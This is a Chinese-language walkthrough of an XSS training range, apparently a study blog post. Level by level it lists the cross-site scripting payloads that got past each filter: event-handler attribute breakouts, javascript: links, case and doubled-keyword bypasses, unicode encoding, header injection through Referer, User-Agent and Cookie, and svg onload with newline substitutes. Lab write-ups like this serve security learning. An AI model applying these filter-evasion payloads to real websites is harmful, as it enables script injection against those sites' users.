靶場鏈接http://xss.tesla-space.com/?tdsourcetag=s_pcqq_aiomsg
參考博客https://blog.csdn.net/xlsj228/article/details/93166486
1
可以看到url中的test參數出現在頁面中,雖然f12看到了下一關的地址,我假裝沒看見

在url處構造payload:xss.tesla-space.com/level1.php?name=test</h2><script>alert("xx")<\script>
2

構造:" onmouseover=alert()
3
依舊如上一關

輸入 " onmouseover=alert() 發現引號不能閉合

輸入' onmouseover=alert() 單引號可以閉合

4
同2

5
" onmouseover=alert() 發現on中間加了下划線

" /> <script>alert()</script> script中間加了下划線

嘗試大小寫等無法繞過
就想到利用javascript偽協議 " /><a href=javascript:alert("ccc");>xxx</a>

6
和5相同,采用5的解法,發現href也被加了下划線,用大小寫繞過,成功
" /><a Href=javascript:alert("ccc");>xxx</a>

7
onmouseover 的on被過濾,采用雙寫繞過
" oonnmouseover=alert()
8
采用javascript偽協議,可是被過濾

采用空格繞過,javascr ipt:alert('xss') ;還是不行

采用16進制編碼,仍然不行
采用unicode編碼,將t進行編碼,成功
javascript:alert('xss') ;
9
利用javascript:alert(),發現

最后試探發現必須包含一個正常的鏈接,所以包含一個被注釋掉的鏈接
javascript:alert()//http://www.baidu.com

10
查看源碼發現是3個隱藏的標簽

傳入相關值,並將type設置為text可見http://xss.tesla-space.com/level10.php?t_sort="onmouseover="alert()"type="text
前兩個標簽不起作用,利用最后一個標簽

11
參考https://blog.csdn.net/xlsj228/article/details/93166486
用bp截斷增加referer頭
referer:'' onmouseover=alert() type="text

12
與上相同,在user-agent處

13
與上相同,在cookie處
14
這一關好像掛了

然后下面給的level15的鏈接也掛了
手動改url進15關http://xss.tesla-space.com/level15.php
15
結果15關加載半天卡死……
16
將空格,script等過濾
運用<svg onload=alert()>標簽
空格用回車換行%0d,%0a代替
17
url為http://xss.tesla-space.com/level17.php?arg01=a&arg02=b

構造payload:http://xss.tesla-space.com/level17.php?arg01=a&arg02=b" onmouseover=alert()
18
與17相同
